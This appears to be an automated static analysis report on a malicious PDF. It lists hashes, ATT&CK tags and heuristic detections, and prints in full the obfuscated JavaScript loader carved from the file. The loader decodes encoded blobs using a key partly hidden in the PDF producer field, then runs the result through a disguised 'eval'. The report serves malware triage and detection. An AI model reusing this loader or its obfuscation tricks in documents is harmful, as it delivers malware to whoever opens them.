Malicious PDF — malware analysis report

Static analysis result for SHA-256 f0d918affae23a4d…

MALICIOUS

PDF

35.5 KB Authoring application: 204G159G162G204G195G168G207G153G207G144G198G159G198G159G198G159G198G153G198G159G147G198G198G153G147G201G204G159G150G204G198G159G147G198G198G153G153G156G144G201G165G207G147G195G147G198G147G198G150G159G First seen: 2026-05-08
MD5: 85d7583dc13d1d94becb484f858b5d6c SHA-1: 1f663d217c824e23e4c5cc39c226357ae85c217a SHA-256: f0d918affae23a4df9bc796a2ad9d9d080321eace6fd5ee363705b6467f880d3
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings. The presence of a large JavaScript object suggests an attempt to obfuscate malicious code. While the document body is unreadable, the embedded JavaScript is the primary indicator of malicious intent, likely to download and execute a second-stage payload. The file is classified as suspicious due to these findings.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    }
function qwaerasdf(asd){return String.fromCharCode(asd);}
function hex2a(hex) {
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0099_000.js pdf-javascript-stream PDF /JS object 99 at offset 0x7F95 11109 bytes
SHA-256: e93b9341dfb5240c48a9ec4b584493707a7aad4e6c0c024a2d6825c29e7f5f4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function rhjahahagk(){
var fdjkghajklsdfhldskhfk="G198G147G198"+"G147G198G162G165G"+"150G153G207G144"+"G204G159G150G204G16"+"2G204G144G147G198"+"G147G198G159G198"+"G159G168G207G2"+"01G201G198G15"+"9G147G198G198G153"+"G147G156G195G14"+"7G207G198G159G195"+"G198G147G207G156"+"G204G201G147G162"+"G171G147G147G"+"153G150G153"+"G195G147G207G1"+"56G198G168G168G1"+"71G171G165G201G195G150"+"G153G195G147G207G"+"144G168G147G171G"+"201G168G147G207G156G1"+"62G204G144G14"+"7G168G150G159"+"G210G207G144G207"+"G156G168G150G195G2"+"10G168G150G162G165"+"G147G210G207G15"+"6G207G198G162G1"+"44G150G207G207G156"+"G207G156G2"+"07G156G204G159G150"+"G204G198G159G19"+"8G159G198G147G19"+"8G153G198G159G147G1"+"98G198G153G147G201"+"G162G165G147G201"+"G207G156G171G"+"147G144G147G16"+"8G207G207G144G168G2"+"01G207G156G210G156G20"+"7G156G207G156G168"+"G201G207G156G201G156G195"+"G195G207G156G168G"+"207G207G156"+"G147G198G198G153G153G"+"144G162G204G150G"+"150G204G159G150G204G"+"198G159G168G207G198G"+"156G168G207G207G"+"165G198G159G198G"+"159G168G201G207G"+"156G207G156G207G15"+"6G150G156G198G147G147G198"+"G198G153G153G201G"+"162G204G195G153G144G168G1"+"98G147G162G204G147G147G204G15"+"9G150G204G16"+"2G204G147G2"+"01G162G165G144G"+"201G207G144G198G159G198G"+"156G168G201G201"+"G144G210G156G207G156G"+"207G156G198G147G147"+"G198G171G153G144G"+"168G147G198G198G"+"153G153G168G207G165"+"G168G198G147G168G162"+"G165G171G198G147G168G207G"+"156G171G147G144G162"+"G162G204G147G"+"159G195G204G195G159"+"G204G204G144G2"+"04G171G144G207G201G195G159G"+"162G156G204G159G204G165"+"G204G204G144G204"+"G171G147G147G165G204"+"G159G150G204G198"+"G159G198G159G198G159"+"G147G198G171G153G144G168G147"+"G198G198G153G144G156G20"+"4G159G150G204G162G204G"+"147G201G162G165G14"+"4G201G207G144G201"+"G204G147G147G198G1"+"59G198G156G198G14"+"7G198G150G147G198"+"G171G153G144G168G"+"147G198G198G153G144"+"G144G147G198"+"G171G153G144G168G"+"147G198G198G153G1"+"44G201G168G150G159G210G"+"207G150G207G156G168"+"G150G195G210G168"+"G150G162G165G147G210G"+"207G156G171G144G2"+"04G162G204G15"+"9G150G204G198G1"+"71G168G207G207G1"+"47G198G159G198G15"+"9G198G147G198G159G"+"198G159G147G198G198"+"G153G147G144G"+"162G165G147G201G201"+"G156G171G195G144"+"G150G204G159G150G156G204"+"G159G150G204G195G156G207"+"G198G159G195G210G144"+"G207G153G2"+"04G201"+"G147G162G171"+"G147G147G153G150"+"G153G207G14"+"4G207G153G2"+"01G150G168G150"+"G204G171G";
function dec(input2) {var asdf =Fde(input2) ; var asfdsad = hex2a(asdf); return asfdsad;}
function sadfjsadkl(str){return str.replace(/G/g,",");}
var ss="354G291G342G96G213G177G"+"306G351G330G2"+"97G348G315G333G330"+"G96G312G303G360"+"G150G294G315G3"+"30G120G342G303"+"G345G123G96G369"+"G30G96G96G96"+"G96G354G291G3"+"42G96G315G177G"+"30G96G96G96G96"+"G354G291G342G9"+"6G309G96G183G96G23"+"1G291G348G312G138"+"G342G333G351G33"+"0G300G120G342G"+"303G345G138G3"+"24G303G330G309"+"G348G312G141"+"G156G123G177G30G"+"96G96G96G96G3"+"15G306G96G120G3"+"09G96G99G183G96G"+"120G342G303G345G1"+"38G324G303G330G3"+"09G348G312G141G"+"156G123G123G96G"+"342G303G345G96"+"G183G96G342G303"+"G345G96G129G9"+"6G102G144G144G102G1"+"77G30G96G96G96G"+"96G354G291G34"+"2G96G333G351G348"+"G96G183G96G102G102G177"+"G30G96G96G96G96"+"G306G333G342G96G1"+"20G315G183G144G177G9"+"6G315G180G342G"+"303G345G138G32"+"4G303G330G309G3"+"48G312G177G96G315G129"+"G183G156G123G96G369G"+"30G96G96G96G96G96G96G9"+"6G96G333G351G34"+"8G96G183G96G333"+"G351G348G96G12"+"9G96G102G111G351G"+"102G96G129G96"+"G342G303G345G13"+"8G345G351G294G"+"345G348G342G12"+"0G315G129G150G13"+"2G150G123G96"+"G129G96G342G"+"303G345G138G345"+"G351G294G345G348G"+"342G120G315G132G1"+"50G123G177G30G96G"+"96G96G96G375G3"+"0G96G96G96G96G3"+"42G303G348G3"+"51G342G330G96"+"G351G330G303G"+"345G297G291G336"+"G303G120G333G351G"+"348G123G177G30G"+"375G30G30G306G35"+"1G330G297G348G315G33"+"3G330G96G360G33"+"3G342G120G345G348G3"+"42G132G321G303G363G123"+"G96G369G30G27G354G29"+"1G342G96G333G351G"+"348G336G351G348G96G18"+"3G96G117G117G17"+"7G30G27G354G291G342"+"G96G330G303G360G"+"348G96G183G96G"+"117G117G177G30G27G3"+"54G291G342G96G"+"324G303G330G309G348G"+"312G96G183G96G34"+"5G348G342G138G324"+"G303G330G309G348"+"G312G177G30G27G306G333"+"G342G120G354G291G3"+"42G96G315G96G183G96G144"+"G177G96G315G96G180"+"G96G324G303G330G3"+"09G348G312G177G9"+"6G315G129G129G123G9"+"6G369G30G27G27G3"+"30G303G360G348G96"+"G183G96G336G291G3"+"42G345G303G219"+"G330G348G120G3"+"21G303G363G28"+"2G345G348G342G1"+"38G297G312G29"+"1G342G201G333G300"+"G303G195G348G120G3"+"15G123G123G138G"+"348G333G249G34"+"8G342G315G330G"+"309G120G147G162"+"G123G177G30G27G"+"27G315G306G120G3"+"30G303G360G348G1"+"38G324G303G330G3"+"09G348G312G96G180G96"+"G150G123G96G330"+"G303G360G348G96"+"G183G96G102G144"+"G102G129G330G303"+"G360G348G177G30G2"+"7G27G333G351G"+"348G336G351G348G96G"+"129G183G96G330G303G3"+"60G348G177G30G"+"27G375G30G27";
var podfghiodihisdg="42G96G120G315"+"G183G144G17"+"7G96G315G96G180G"+"96G297G330"+"G348G177G96G31"+"5G129G129G123G"+"369G30G27G27"+"G294G351G306"+"G96G129G1"+"83G96G315G330G3"+"36G351G348G177"+"G30G27G375G30G27G342G"+"303G348G351G342G"+"330G96G294G351G30"+"6G177G30G375G30G"+"30G306G351G3"+"30G297G348G31"+"5G333G330G96G34"+"5G312G303G"+"324G324G297G33"+"3G300G303G120G32"+"4G333G291G300G255G"+"342G324G123G369"+"G30G27G354G291G3"+"42G96G34"+"5G297G333G300G303G96G1"+"83G96G102G207G198G147G"+"147G159G198G156G"+"198G153G153G201G171G1"+"62G162G168G147G2"+"01G171G144G144G"+"144G156G168"+"G144G153G156G144"+"G198G207G156G207G150G210"+"G195G207G198G144G159"+"G207G168G207G195G210G21"+"0G210G210G210G210G1"+"44G204G159G195G207"+"G159G207G156G207G156G20"+"4G159G150G204G168G144"+"G162G210G171G159G204G15"+"6G162G210G171G15"+"0G207G168G162G210G"+"171G150G210G1"+"68G162G210G16"+"8G195G207G201G16"+"2G210G195G150G201G156G"+"162G210G204G150G"+"168G150G204G204G195G201"+"G210G201G171G147G147G162G"+"162G210G195G1"+"47G204G168"+"G162G210G198G144G207G147"+"G171G201G20"+"7G159G144G207G162G2"+"10G171G162G201"+"G156G207G159G144G195"+"G198G162G204G"+"159G150G204G1"+"95G204G195G159G"+"156G171G207G159G144G2"+"01G204G159G153G210G207"+"G198G159G195G210G"+"156G204G201G147G162G1"+"71G144G207"+"G201G150G159G"+"150G210G207G195G"+"207G159G153G165G"+"195G156G144G210G147"+"G159G204G210G210"+"G198G171G147G144G153G"+"198G207G162G210"+"G171G162G201G1"+"44G207G159G144G195G"+"168G150G162G210G207"+"G168G195G195G162"+"G210G171G162G210G"+"168G207G159G144G195"+"G162G210G207G144G"+"162G195G207G159"+"G144G201G156G210G"+"198G210G198G165G150G165"+"G198G198G144G201G165G171"+"G147G198G147G1"+"98G147G198G144G"+"201G159G162G147"+"G198G147G198"+"G147G198G144G20"+"1G156G171G147G198"+"G147G198G147G198G"+"144G201G156G201G"+"147G198G147G198G147"+"G198G144G201G156G"+"165G147G198G147"+"G198G147G198"+"G144G201G165G195G147G198"+"G147G198G1"+"47G198G144G201"+"G165G204G147G198"+"G147G198G147G"+"198G144G201G165G"+"144G147G198"+"G147G198G147"+"G198G168G201"+"G168G168G204G165G"+"204G162G207G156G168G201G"+"171G165G168G201G168G"+"147G168G168G198G"+"144G147G198G"+"198G153G147G168"+"G162G204G150G147G144G"+"201G171G198G147G198G"+"147G198G147G198G144G"+"201G171G207G147"+"G198G147G198G147G"+"198G168G201G168"+"G198G168G195G207"+"G156G207G156G168G201G171"+"G147G171G162G168G168G"+"168G171G198G144G147"+"G198G198G153G147G"+"144G162G204G150G"+"147G144G201"+"G168G147G147";
function Fde(str){var set='';var s='';var ee='';
str = sadfjsadkl(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/3;
set+=asdfqwef(ee.toString(16));}
return set;
}
function dsjfassldfhgj(sadsfjkgAD){var jdhjkashfhaui = -120+120+""; return jdhjkashfhaui+sadsfjkgAD;}
var asdfqwegqwegqewfa="G342G303G3"+"48G351G342G330G96G33"+"3G351G348G336G351G348G1"+"77G30G375G30G30G306G3"+"51G330G297G348"+"G315G333G33"+"0G96G306G31"+"5G360G285G315G348G1"+"20G36"+"3G291G342G345"+"G336G132G96G324G3"+"03G330G123G369G30"+"G96G96G"+"96G96G357G312G31"+"5G324G30"+"3G120G363G2"+"91G342G345G336G138G32"+"4G303G330G309G348G312G"+"96G126G96G150G96G180G9"+"6G324G303G330G123G3"+"69G30G96G96G96G96"+"G96G96G96G96G363G"+"291G342G34"+"5G336G96G12"+"9G183G96G363G291G3"+"42G345G336G177G30G96G96"+"G96G96G375G30G96G"+"96G96G96G34"+"2G303G348G351G342"+"G330G96G363G29"+"1G342G345G336G138G3"+"45G351G294G345G348G3"+"42G315G330G309G12"+"0G144G132G96G324G303G3"+"30G96G141G96G15"+"0G123G177G30"+"G375G30G306G351G330G"+"297G348G315G333G330G96"+"G312G303G291G336G24"+"9G336G342G29"+"1G363G120G345G348"+"G342G123G369G30G96G96"+"G96G96G342G333G348"+"G303G204G291G321G96G183G"+"96G345G348G342G138G32"+"4G303G330G309G348G3"+"12G96G126G96G150G17"+"7G30G96G96G96G96G30"+"0G291G321G246G333G34"+"8G303G183G96G102G2"+"76G351G17"+"1G144G171G144G102G1"+"77G30G96G96G96"+"G96G345G3"+"36G342G291"+"G363G96G183G96"+"G306G31"+"5G360G285G315G348G12"+"0G300G291G321G246G333G3"+"48G303G132G96G144"+"G360G150G144G144"+"G144G96G135G96G342"+"G333G348G303G204G291G32"+"1G123G177G30G96G"+"96G96G9"+"6G324G333G360G261G3"+"12G303G303G96G183G96G"+"345G348G342G"+"96G129G96G345G336G"+"342G291G363G177G30"+"G96G96G96G96G324"+"G333G360G261G312G30"+"3G303G96G183G96G"+"306G315G360G285G315G"+"348G120G324G333G360G26"+"1G312G303G303G132G96"+"G159G150G156G144G171G"+"168G123G177G30G27G327"+"G303G327G333G342G36"+"3G96G183G96G330G"+"303G357G96G195G342G3"+"42G291G363G120G123G"+"177G30G96G96G96G"+"96G306G333G342G12"+"0G315G183G144G1"+"77G96G315G96G180"+"G96G153G144G144"+"G177G96G315G129G"+"129G12"+"3G369G30G96G96G96G9"+"6G96G96G96G96G327G303"+"G327G333G342G"+"363G273G315G27"+"9G96G183G96G324G33"+"3G360G261G312G303G3"+"03G138G345G351G294G345G34"+"8G342G12"+"0G144G132G324G333G360G"+"261G312G303G303G1"+"38G324G303G330G309G"+"348G312G96G135"+"G96G147G96G123G96G129G96"+"G300G291G321"+"G246G333G348G3"+"03G177G30G"+"96G96G9"+"6G96G375G30G375G30G306"+"G351G330G297G3"+"48G315G333G330G96G345G3"+"48G342G285G342"+"G303G336G303G2"+"91G348G96G120G96G3"+"15G330G33"+"6G351G348G132G"+"96G297G330G3"+"48G96G123G96G369G30G2"+"7G354G291G3"+"42G96G294G351G"+"306G96G183G96G102G10"+"2G177G30G27G306G333G3";
function asdfqwef(eds){var set='';var s=eds;
if (s.length<2)
{set=dsjfassldfhgj(s);}
else{set=s;}
return set;
}
function qwaerasdf(asd){return String.fromCharCode(asd);}
function hex2a(hex) {
    var str = '';var zzz=qwaerasdf;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=qwaerasdf('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}    return str;
}
ss+=asdfqwegqwegqewfa+podfghiodihisdg; 
var dad=info.producer;
function adsfquifhiwuf(d,dd){return d+dd;}
ss+=adsfquifhiwuf(fdjkghajklsdfhldskhfk,dad);
var ss=dec(ss);
var czvhjashavsiodhvuipashcpioasdcs  = app.alert["hadsfuihuiahfuhauishzcnxvvjbasbvdiopjiovpasodjviopasconstructorkajdsfhjkasdhfjkhadskjlhvlaksjhdvdsklavh".substring(52,63)];
function asdfeaf(s){if (s==0){return false}else{return true}}
var susea=asdfeaf(1)+"";
var seasus=asdfeaf(0)+"";
var daeaefe="eafadsfjekafhjkavadfefafaef";
var sadfasdjkfhasvhuixzhviahsiuhfasid=susea[(3+3)/2];
sadfasdjkfhasvhuixzhviahsiuhfasid+=daeaefe[(16+16)/2];
sadfasdjkfhasvhuixzhviahsiuhfasid+=seasus[((1+9)/5)-1];
sadfasdjkfhasvhuixzhviahsiuhfasid+=seasus[(2+10)/6];
czvhjashavsiodhvuipashcpioasdcs[sadfasdjkfhasvhuixzhviahsiuhfasid](ss);
}
rhjahahagk();

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